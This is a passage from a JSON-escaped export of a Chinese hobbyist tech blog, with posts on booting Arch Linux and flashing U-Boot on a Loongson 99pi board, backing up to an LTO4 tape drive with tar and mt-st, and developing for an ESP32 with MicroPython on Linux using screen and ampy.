Linux\u003c/h3\u003e\u003cp\u003e主要原因是aur比较香,而且软件分发也相对简单,反正pacman作为包管理够用。\u003c/p\u003e\u003cp\u003e北大的LCPU整了个LA64的AUR镜像源:\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://loongarchlinux.lcpu.dev/\"\u003eArch Linux for Loongarch64\u003c/a\u003e\u003c/p\u003e\u003cp\u003earch安装的核心就是准备一个能跑起来pacstrap的环境,然后就能用pacstrap去准备arch的rootfs了。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e意外发现原来有LA64的arch安装iso,这下不用自己准备rootfs了,好耶\u003cbr\u003e居然忘了3A6000已经能用Arch了\u003c/p\u003e\u003c/blockquote\u003e\u003cblockquote\u003e\u003cp\u003e哦,忘了,3A6000的abi跟2K0300不太一样,果然最后还是翻车了\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e解压发现其中的\u003ccode\u003eairootfs.sfs\u003c/code\u003e,arch下安装\u003ccode\u003esquashfs-tools\u003c/code\u003e后,使用\u003ccode\u003esudo unsquashfs airootfs.sfs\u003c/code\u003e解压rootfs。完成后编译一个\u003ccode\u003euImage\u003c/code\u003e,丢到rootfs的\u003ccode\u003e/boot\u003c/code\u003e下。\u003c/p\u003e\u003cp\u003e准备一个ext4的U盘,将rootfs复制到其中。U盘插入99pi,启动并进入uboot cli,输入:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eext4load usb 0 \u003cspan class=\"variable\"\u003e$\u0026#123;loadaddr\u0026#125;\u003c/span\u003e boot/uImage\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ebootm \u003cspan class=\"variable\"\u003e$\u0026#123;loadaddr\u0026#125;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e手动启动系统。\u003c/p\u003e\u003cp\u003e不过启动失败了,查报错感觉问题可能出在指令集不兼容上了,似乎是LA64的SIMD指令在2k300上用不了。\u003c/p\u003e\u003cp\u003e下一步应该就是手动编译一个arch rootfs再安装了。\u003c/p\u003e\u003ch2 id=\"刷uboot\"\u003e\u003ca href=\"#刷uboot\" class=\"headerlink\" title=\"刷uboot\"\u003e\u003c/a\u003e刷uboot\u003c/h2\u003e\u003cp\u003e可以借助tftp刷入,也可以usb刷入。我用了后一种方法:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 主系统\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003emkfs.ext2 /dev/sdb \u003cspan class=\"comment\"\u003e# 格式化U盘\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003emount /dev/sdb ./tmp\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ecp\u003c/span\u003e u-boot-spl-gz.bin ./tmp/\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eumount ./tmp\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 99pi\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 插入U盘\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 启动时多次按c进入PMON控制台\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003efload /dev/fs/ext2@usb0/u-boot-spl-gz.bin\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面是输出:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ePMON\u0026gt; fload /dev/fs/ext2@usb0/u-boot-spl-gz.bin                                                            / \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eLoading file: /dev/fs/ext2@usb0/u-boot-spl-gz.bin dl_offset 900000000f800000 addr 900000000f800000 \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e(bin)                                                                                                      | \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eLoaded 580432 bytes \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eProgramming flash 900000000f800000:8db50 into 800000001c000000 \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eErase end!                                                                                                 / \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eProgramming end! \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eVerifying FLASH. No Errors found. \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ePMON\u0026gt;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e此时就完成了,可以重启了。\u003c/p\u003e\u003ch3 id=\"配置uboot参数\"\u003e\u003ca href=\"#配置uboot参数\" class=\"headerlink\" title=\"配置uboot参数\"\u003e\u003c/a\u003e配置uboot参数\u003c/h3\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esetenv bootargs console=ttyS0,115200n8 root=/dev/sda1 rootdelay=3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003esaveenv\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"编译busybox最小系统\"\u003e\u003ca href=\"#编译busybox最小系统\" class=\"headerlink\" title=\"编译busybox最小系统\"\u003e\u003c/a\u003e编译busybox最小系统\u003c/h2\u003e\u003cp\u003e流程很简单:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003emkdir\u003c/span\u003e -p ./\u0026#123;src,\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"问题\"\u003e\u003ca href=\"#问题\" class=\"headerlink\" title=\"问题\"\u003e\u003c/a\u003e问题\u003c/h3\u003e\u003cul\u003e\u003cli\u003e编译失败\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e不知道为啥,换\u003ccode\u003emusl-gcc\u003c/code\u003e就可以了。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003emake menuconfig\u003c/code\u003e总是会失败\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e刚开始以为确实是依赖问题,把能想到的玩意都装了一圈之后觉得不对劲上Arch Wiki搜了一下:\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://bbs.archlinux.org/viewtopic.php?id=295859\"\u003e[已解决] make menuconfig 和 ncurses 库的问题 \u0026#x2F; 新手 \u0026#x2F; Arch Linux 论坛\u003c/a\u003e\u003cbr\u003e\u003ca href=\"https://aur.archlinux.org/cgit/aur.git/tree/esp8266-rtos-sdk-aur-ncurses-fix.patch?h=esp8266-rtos-sdk\"\u003eesp8266-rtos-sdk-aur-ncurses-fix.patch - aur.git - AUR Package Repositories\u003c/a\u003e\u003c/p\u003e\u003cp\u003e最后发现是\u003ccode\u003e./scripts/kconfig/lxdialog/check-lxdialog.sh\u003c/code\u003e的锅。里边的\u003ccode\u003echeck()\u003c/code\u003e函数对main的写法有问题:应该在下图的main()前面加上int才能正常check到是否安装了ncurses库。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"/img/Pasted%20image%2020240920214920.png\"\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e启动失败\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e我这里是因为menuconfig总是失败所以没法开\u003cstrong\u003eBuild static binary\u003c/strong\u003e,开开就能跑了。\u003c/p\u003e","url":"https://mxts.jiujiuer.xyz/2024/09/12/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E9%BE%99%E8%8A%AF%E4%B9%85%E4%B9%85%E6%B4%BEPlus%E6%8A%98%E8%85%BE%E7%AC%94%E8%AE%B0/"},{"title":"磁带机入坑小记","time":"2024-07-08T03:39:09Z","content":"世上只有两种人:不备份数据的人和丢失过数据的人\u003chr /\u003e\u003cblockquote\u003e\u003cp\u003e世上只有两种人:不备份数据的人和丢失过数据的人\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e坑是去年入的,机是今年才用的,数据是才备份好的,磁带是热乎的。\u003c/p\u003e\u003ch2 id=\"机器\"\u003e\u003ca href=\"#机器\" class=\"headerlink\" title=\"机器\"\u003e\u003c/a\u003e机器\u003c/h2\u003e\u003cp\u003e这个磁带机是我怂恿Ray一块合买的一个戴尔的LTO4磁带机。机器成色看着可以,这东西最大的问题是,这个价格只能买到走SAS连接的版本。所以在这之外还整了个HBA板卡用来把这东西接入主机的PCIE连接。\u003c/p\u003e\u003cp\u003e此外为了实现一些神奇的操作,我俩还整了个PCIE延长插槽,最后\u003cdel\u003e转换器插转换器插转换器\u003c/del\u003e成功给这玩意插到Ray的老ThinkPad上的Express插槽上了(Think.jpg\u003c/p\u003e\u003ch2 id=\"安装\"\u003e\u003ca href=\"#安装\" class=\"headerlink\" title=\"安装\"\u003e\u003c/a\u003e安装\u003c/h2\u003e\u003cp\u003e一个电源,一个sas接口,都插上就完事了。就是得注意启动顺序,磁带机得在电脑之前上电启动。\u003c/p\u003e\u003cp\u003eWindows底下应该能在设备管理器底下找到磁带机的影子,Linux底下看看\u003ccode\u003e/dev\u003c/code\u003e底下有没有\u003ccode\u003est0, nst0\u003c/code\u003e之类的字符设备就行,有就是连上了。\u003c/p\u003e\u003ch2 id=\"使用\"\u003e\u003ca href=\"#使用\" class=\"headerlink\" title=\"使用\"\u003e\u003c/a\u003e使用\u003c/h2\u003e\u003cp\u003e只要你不是命令行恐惧症,我一律推荐你直接上Linux用GNU tar作为数据备份工具。Windows上那依托数据备份软件又贵又不好用,不如直接tar。\u003c/p\u003e\u003cp\u003e具体来说,插上磁带机之后,开机启动,系统里的\u003ccode\u003e/dev\u003c/code\u003e下应该会出现几个新的字符设备,一般有这么几个:\u003ccode\u003est0, nst0\u003c/code\u003e之类的。这两个表示一个设备的两个模式,前者在操作完成后会自动倒带,后者则不会自动倒带。\u003c/p\u003e\u003cp\u003eLinux的文件模型将所有设备视为文件进行管理,对于磁带机同理。我们可以像使用其他设备一样使用磁带机,甚至可以直接用重定向符把输出流重定向到磁带机,或者直接用\u003ccode\u003edd\u003c/code\u003e把数据写入磁带机设备。\u003c/p\u003e\u003cp\u003e另外由于数据IO作为系统调用,它一旦因为一些奇怪的原因失败有概率会导致系统内核因为死锁挂掉,症状就是其他的文件IO操作都会失败。这种时候只能重启了。\u003c/p\u003e\u003cp\u003eWin上我就不列出了,用过一个L开头的备份软件,又要收费又不好用。Linux上常用的有tar,dd,cpio等。这里只介绍tar和一个磁带机管理工具。另外\u003cem\u003etar适用单磁带备份\u003c/em\u003e,多磁带备份可以自行了解cpio。\u003c/p\u003e\u003ch3 id=\"tar使用笔记\"\u003e\u003ca href=\"#tar使用笔记\" class=\"headerlink\" title=\"tar使用笔记\"\u003e\u003c/a\u003etar使用笔记\u003c/h3\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth align=\"left\"\u003e操作\u003c/th\u003e\u003cth align=\"left\"\u003e指令\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e全盘覆盖从头写入\u003c/td\u003e\u003ctd align=\"left\"\u003e\u003ccode\u003etar cvf /dev/st0 files/dirs\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e附加模式写入磁带后部\u003c/td\u003e\u003ctd align=\"left\"\u003e\u003ccode\u003etar rvf /dev/st0 files/dirs\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e获取磁带文件列表\u003c/td\u003e\u003ctd align=\"left\"\u003e\u003ccode\u003etar tvf /dev/st0 \u0026gt; filelist.txt\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e从磁带恢复文件列表到当前目录\u003c/td\u003e\u003ctd align=\"left\"\u003e\u003ccode\u003etar xvf /dev/st0 [files/dirs]\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e这里没列全,tar还有很多用法,比如增量备份,文件恢复\u003c/p\u003e\u003cp\u003e注意,磁带是线性文件系统,在LTFS出现之前的版本(比如LTO4),上面的操作都是很耗时的。\u003c/p\u003e\u003ch3 id=\"mt-st使用笔记\"\u003e\u003ca href=\"#mt-st使用笔记\" class=\"headerlink\" title=\"mt-st使用笔记\"\u003e\u003c/a\u003emt-st使用笔记\u003c/h3\u003e\u003cp\u003e\u003ccode\u003emt-st\u003c/code\u003e就是\u003cem\u003eManage Tape\u003c/em\u003e的缩写。它是用来管理磁带机的工具。\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth align=\"left\"\u003e操作\u003c/th\u003e\u003cth align=\"left\"\u003e指令\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e\u003ccode\u003emt-st -f /dev/st0 status\u003c/code\u003e\u003c/td\u003e\u003ctd align=\"left\"\u003e获取设备状态\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e\u003ccode\u003emt-st -f /dev/st0 rewind\u003c/code\u003e\u003c/td\u003e\u003ctd align=\"left\"\u003e倒带\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e\u003ccode\u003emt-st -f /dev/st0 eject\u003c/code\u003e\u003c/td\u003e\u003ctd align=\"left\"\u003e弹出磁带\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e\u003ccode\u003emt-st -f /dev/st0 erase\u003c/code\u003e\u003c/td\u003e\u003ctd align=\"left\"\u003e\u003cstrong\u003e慎用,对磁带有损伤且一般无必要\u003c/strong\u003e 擦除磁带所有数据\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch3 id=\"其他玩法\"\u003e\u003ca href=\"#其他玩法\" class=\"headerlink\" title=\"其他玩法\"\u003e\u003c/a\u003e其他玩法\u003c/h3\u003e\u003cp\u003e刚说过了,磁带机作为一个字符设备,使用方式和其他设备一样,都是把输出数据流重定向到它在\u003ccode\u003e/dev\u003c/code\u003e下对应的字符设备。那玩法就多了。\u003c/p\u003e\u003cp\u003e首先,数据流可以从远端传过来:\u003c/p\u003e\u003cul\u003e\u003cli\u003e所以磁带机完全可以供多人\u003cstrong\u003e远程使用\u003c/strong\u003e,只要本地留个人插拔磁带就彳亍。比如通过ssh将自己的数据传入磁带机,实现远程数据备份。\u003c/li\u003e\u003cli\u003e局域网(比如校园局域网)底下这么玩很爽\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e另外不光能远程,这个数据流还可以从别的进程传过来。比如可以从你的OBS推流里传过来,可以从你的其他设备传过来(比如摄像头之类的数据采集设备),可以从你的文件下载进程里传过来,还可以从任何数据处理进程里传过来。\u003c/p\u003e\u003cp\u003e反正最后都是花式数据备份嘛。实在闲得没事了还可以写个自助备份系统给别人用用。\u003c/p\u003e\u003ch2 id=\"结\"\u003e\u003ca href=\"#结\" class=\"headerlink\" title=\"结\"\u003e\u003c/a\u003e结\u003c/h2\u003e\u003cp\u003e每次掏出来磁带机就有人说这东西随机读写性能不行,傻逼才买。先不说某些人的教养问题,单说抛开需求和使用场景来看设备那不纯耍流氓。\u003c/p\u003e\u003cp\u003e一个纯用来冷备份的设备,作为长期数据储存的设备,真的有人会需要这玩意的随机读写能力?一般使用不都是数据丢失了,插上磁带开始全盘\u0026#x2F;指定文件列表开始数据恢复嘛。当然你要想的是在这里边\u003cdel\u003e下原神\u003c/del\u003e打游戏那当我没说。\u003c/p\u003e\u003cp\u003e而且随机读写性能不等于读写性能,这玩意读写是能跑到\u003cstrong\u003e100+MiBps,也就是800+Mbps\u003c/strong\u003e的,一般手机下载文件\u0026#x2F;普通U盘文件传输连续读写都跑不到这速度,而且\u003cstrong\u003eLTO4的磁带15r\u0026#x2F;盘,容量800GiB(不开压缩)~1600GiB(开压缩)\u003c/strong\u003e,LTO4磁带机价格也下来了,拿来冷备份的成本和\u003cstrong\u003e可靠性\u003c/strong\u003e都远比机械\u0026#x2F;固态优秀。\u003c/p\u003e\u003cp\u003e不过这玩意小众还是有原因的,最大的原因是这玩意一般不面向普通个人消费者,而是大型数据中心。其次是这玩意价格普遍很贵,特别是磁带机。只有那些相对落后几代的产品才有对比普通存储介质备份方案很明显的性价比优势。\u003c/p\u003e\u003cp\u003e嘛,本来想说下素质问题,想了下没必要,都那样了,还是顺从吧:”啊对对对“。\u003c/p\u003e\u003ch2 id=\"References\"\u003e\u003ca href=\"#References\" class=\"headerlink\" title=\"References\"\u003e\u003c/a\u003eReferences\u003c/h2\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://www.gnu.org/software/tar/manual/html_section/Using-Multiple-Tapes.html\"\u003eGNU tar 1.35: 9.6 Using Multiple Tapes\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://www.gnu.org/software/tar/manual/html_chapter/Media.html\"\u003eGNU tar 1.35: 9 Tapes and Other Archive Media\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://www.cnblogs.com/amadeuslee/p/3799484.html\"\u003eLinux 磁带机备份完全攻略 - 李济宏(Amadeus) - 博客园\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://zhuanlan.zhihu.com/p/659337882\"\u003eArch Linux下使用HPE LTO5磁带机(含LTFS)记录 - 知乎\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://blog.itpub.net/223653/viewspace-1301748/\"\u003eLinux、UNIX下磁带机的管理和使用 (作者:张亚宁) - ITPUB博客\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"http://www.01-datastorage.com/c/keep.html\"\u003e{LTO磁带寿命预估}{怎样计算LTO磁带寿命}{如何让LTO磁带寿命更长}\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e","url":"https://mxts.jiujiuer.xyz/2024/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%A1%AC%E4%BB%B6/%E7%A3%81%E5%B8%A6%E6%9C%BA%E5%85%A5%E5%9D%91%E5%B0%8F%E8%AE%B0/"},{"title":"Linux上的ESP32+MicroPython开发手记","time":"2024-07-05T06:03:13Z","content":"非常好ESP32+EC800M,使我系统兼容\u003chr /\u003e\u003cblockquote\u003e\u003cp\u003eRef:\u003ca href=\"https://www.cnblogs.com/orangeQWJ/p/17762992.html\"\u003eESP32-MicroPython 开发环境 - orangeQWJ - 博客园\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e之前一直想在Linux上玩玩手头的ESP32板子,但是奈何开发工具(好像叫Thonny)兼容Win,也懒得在Linux上再装一个。最近有空了才研究了一下,发现把板子插上,系统里是会出现一个字符设备的。不过大前提是\u003cstrong\u003eESP32的板子是MicroPython固件\u003c/strong\u003e应该才行。\u003c/p\u003e\u003ch2 id=\"连接终端\"\u003e\u003ca href=\"#连接终端\" class=\"headerlink\" title=\"连接终端\"\u003e\u003c/a\u003e连接终端\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/muahao/articles/5673282.html\"\u003e[转载]各种终端 \u0026#x2F;dev\u0026#x2F;tty - 苏小北1024 - 博客园\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e既然设备在\u003ccode\u003e/dev\u003c/code\u003e底下显示了,那肯定就能连上。在Win上的时候IDE会自动连接上设备的MicroPython的repl解释器。Linux底下根据参考资料应该是可以借助\u003ccode\u003escreen\u003c/code\u003e连接。我的设备显示为\u003ccode\u003e/dev/ttyUSB0\u003c/code\u003e,那么就使用下面的指令以115200的波特率连接:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003escreen /dev/ttyUSB0 115200\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e连接后能看到确实是MicroPython的repl。\u003c/p\u003e\u003cp\u003e这里补充一下screen的使用,这里的\u003ccode\u003eC-x\u003c/code\u003e指的是\u003ccode\u003eCtrl+x\u003c/code\u003e这样的组合键:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eC-a d\u003c/code\u003e:断开当前screen的连接\u003c/li\u003e\u003cli\u003e\u003ccode\u003eC-a k\u003c/code\u003e:终止当前screen的连接。完成repl交互的时候务必终止,不然会阻碍ampy的连接\u003c/li\u003e\u003cli\u003e\u003ccode\u003escreen -R\u003c/code\u003e:恢复screen的连接\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"文件传输\"\u003e\u003ca href=\"#文件传输\" class=\"headerlink\" title=\"文件传输\"\u003e\u003c/a\u003e文件传输\u003c/h2\u003e\u003cp\u003e虽然能用repl的\u003ccode\u003eos.listdir()\u003c/code\u003e和文件操作查看源码和其他文件的内容,但是还是不太方便。搜了一下发现Adafruit提供了一个用于在MicroPythhon兼容设备上文件管理的工具。我这里直接从AUR安装了:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eyay -S ampy\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e装好之后,可以先设置一下环境变量,省得每次都要指定端口号:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026quot;export AMPY_PORT=/dev/ttyUSB0\u0026quot;\u003c/span\u003e \u0026gt;\u0026gt; \u003cspan class=\"variable\"\u003e$HOME\u003c/span\u003e/.bashrc\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e之后就不用指定下面所有的\u003ccode\u003e--port /dev/ttyUSB0\u003c/code\u003e参数了。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eampy --port \u0026lt;PORT\u0026gt; ls [REMOTE_DIR]\u003c/code\u003e:列出文件\u003c/li\u003e\u003cli\u003e\u003ccode\u003eampy --port \u0026lt;PORT\u0026gt; get \u0026lt;REMOTE_FILE\u0026gt; [LOCAL_FILE]\u003c/code\u003e:下载文件,输出到stdout\u0026#x2F;本地文件\u003c/li\u003e\u003cli\u003e\u003ccode\u003eampy --port \u0026lt;PORT\u0026gt; put \u0026lt;FILE\u0026gt;\u003c/code\u003e:上传文件\u003c/li\u003e\u003cli\u003e\u003ccode\u003eampy --port \u0026lt;PORT\u0026gt; rm \u0026lt;REMOTE_FILE\u0026gt;\u003c/code\u003e:删除文件\u003c/li\u003e\u003cli\u003e\u003ccode\u003eampy --port \u0026lt;PORT\u0026gt; mkdir \u0026lt;DIR\u0026gt;\u003c/code\u003e:创建文件夹\u003c/li\u003e\u003cli\u003e\u003ccode\u003eampy --port \u0026lt;PORT\u0026gt; run \u0026lt;REMOTE_SCRIPT\u0026gt;\u003c/code\u003e:执行远程脚本\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"特殊文件\"\u003e\u003ca href=\"#特殊文件\" class=\"headerlink\" title=\"特殊文件\"\u003e\u003c/a\u003e特殊文件\u003c/h2\u003e\u003cp\u003eMicroPython固件会在开机时先执行\u003ccode\u003e/boot.py\u003c/code\u003e,再执行\u003ccode\u003e/main.py\u003c/code\u003e主程序。如何编写就看程序的设计了。\u003c/p\u003e\u003chr\u003e\u003cblockquote\u003e\u003cp\u003ePS:为了快速复制引用的网页还抽了半个小时做了个插件:\u003ca href=\"https://github.com/xeonds/tab-clip?tab=readme-ov-file\"\u003exeonds\u0026#x2F;tab-clip: Extension for clip the site info in markdown url format\u003c/a\u003e\u003cbr\u003e虽然感觉有点傻就是了)\u003c/p\u003e\u003c/blockquote\u003e","url":"https://mxts.jiujiuer.xyz/2024/07/05/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Linux%E4%B8%8A%E7%9A%84ESP32+MicroPython%E5%BC%80%E5%8F%91%E6%89%8B%E8%AE%B0/"},{"title":"OpenWRT折腾笔记","time":"2024-06-30T19:54:58Z","content":"(*/ω\*)\u003chr /\u003e\u003ch2 id=\"疑难杂症\"\u003e\u003ca href=\"#疑难杂症\" class=\"headerlink\" title=\"疑难杂症\"\u003e\u003c/a\u003e疑难杂症\u003c/h2\u003e\u003ch3 id=\"OpenWRT拨号失败\"\u003e\u003ca href=\"#OpenWRT拨号失败\" class=\"headerlink\" 